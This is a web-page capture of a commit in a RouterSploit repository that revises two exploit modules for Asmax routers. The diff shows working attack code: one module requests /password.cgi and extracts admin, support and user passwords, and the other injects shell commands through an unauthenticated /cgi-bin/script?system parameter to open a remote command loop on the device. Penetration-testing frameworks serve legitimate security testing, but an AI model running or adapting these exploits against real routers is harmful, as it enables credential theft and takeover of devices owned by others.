Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
cfbdf33c
Commit
cfbdf33c
authored
May 04, 2017
by
Marcin Bury
Committed by
Mariusz Kupidura
May 04, 2017
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Improving Asmax exploits (#265)
parent
1d2747e1
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
19 additions
and
13 deletions
+19
-13
ar_1004g_password_disclosure.py
...es/exploits/routers/asmax/ar_1004g_password_disclosure.py
+13
-10
ar_804_gu_rce.py
routersploit/modules/exploits/routers/asmax/ar_804_gu_rce.py
+6
-3
No files found.
routersploit/modules/exploits/routers/asmax/ar_1004g_password_disclosure.py
View file @
cfbdf33c
...
@@ -2,6 +2,7 @@ from routersploit import (
...
@@ -2,6 +2,7 @@ from routersploit import (
exploits
,
exploits
,
print_error
,
print_error
,
print_success
,
print_success
,
print_status
,
print_table
,
print_table
,
http_request
,
http_request
,
mute
,
mute
,
...
@@ -13,11 +14,11 @@ from routersploit import (
...
@@ -13,11 +14,11 @@ from routersploit import (
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
"""
"""
Exploit implementation for Asmax AR1004G Password Disclosure vulnerability.
Exploit implementation for Asmax AR1004G Password Disclosure vulnerability.
If the target is vulnerable it
allows to read credentials for admin, support and user."
If the target is vulnerable it
is possible to read credentials for admin, support and user accounts.
"""
"""
__info__
=
{
__info__
=
{
'name'
:
'Asmax AR1004G Password Disclosure'
,
'name'
:
'Asmax AR1004G Password Disclosure'
,
'description'
:
'Exploits
asmax password d
isclosure vulnerability that allows to '
'description'
:
'Exploits
Asmax AR1004G Password D
isclosure vulnerability that allows to '
'fetch credentials for: Admin, Support and User accounts.'
,
'fetch credentials for: Admin, Support and User accounts.'
,
'authors'
:
[
'authors'
:
[
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
...
@@ -30,16 +31,17 @@ class Exploit(exploits.Exploit):
...
@@ -30,16 +31,17 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target
address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target
address
target
=
exploits
.
Option
(
''
,
'Target
URL address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target url
address
port
=
exploits
.
Option
(
80
,
'Target
port'
)
# default
port
port
=
exploits
.
Option
(
80
,
'Target
HTTP port'
,
validators
=
validators
.
integer
)
# target http
port
def
run
(
self
):
def
run
(
self
):
creds
=
[]
creds
=
[]
url
=
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
url
=
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
try
:
print_status
(
"Requesting {}"
.
format
(
url
))
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
.
text
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
except
AttributeError
:
if
response
is
None
:
print_error
(
"Exploit failed - empty response"
)
return
return
tokens
=
[
tokens
=
[
...
@@ -48,14 +50,15 @@ class Exploit(exploits.Exploit):
...
@@ -48,14 +50,15 @@ class Exploit(exploits.Exploit):
(
"user"
,
r"pwdUser = '(.+?)'"
)
(
"user"
,
r"pwdUser = '(.+?)'"
)
]
]
for
token
in
tokenize
(
tokens
,
response
):
print_status
(
"Trying to extract credentials"
)
for
token
in
tokenize
(
tokens
,
response
.
text
):
creds
.
append
((
token
.
typ
,
token
.
value
[
-
1
]))
creds
.
append
((
token
.
typ
,
token
.
value
[
-
1
]))
if
creds
:
if
creds
:
print_success
(
"Credentials found
!
"
)
print_success
(
"Credentials found"
)
print_table
((
"Login"
,
"Password"
),
*
creds
)
print_table
((
"Login"
,
"Password"
),
*
creds
)
else
:
else
:
print_error
(
"
C
redentials could not be found"
)
print_error
(
"
Exploit failed - c
redentials could not be found"
)
@mute
@mute
def
check
(
self
):
def
check
(
self
):
...
...
routersploit/modules/exploits/routers/asmax/ar_804_gu_rce.py
View file @
cfbdf33c
...
@@ -32,18 +32,21 @@ class Exploit(exploits.Exploit):
...
@@ -32,18 +32,21 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target
address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
target
=
exploits
.
Option
(
''
,
'Target
URL address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target url address
port
=
exploits
.
Option
(
80
,
'Target
Port'
)
port
=
exploits
.
Option
(
80
,
'Target
HTTP port'
,
validators
=
validators
.
integer
)
# target http port
def
run
(
self
):
def
run
(
self
):
print_status
(
"Checking if target is vulnerable"
)
if
self
.
check
():
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
shell
(
self
,
architecture
=
"mips"
)
shell
(
self
,
architecture
=
"mips"
)
else
:
else
:
print_error
(
"
Target is
not vulnerable"
)
print_error
(
"
Exploit failed - target seems to be
not vulnerable"
)
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
""" callback used by shell functionality """
url
=
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
url
=
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment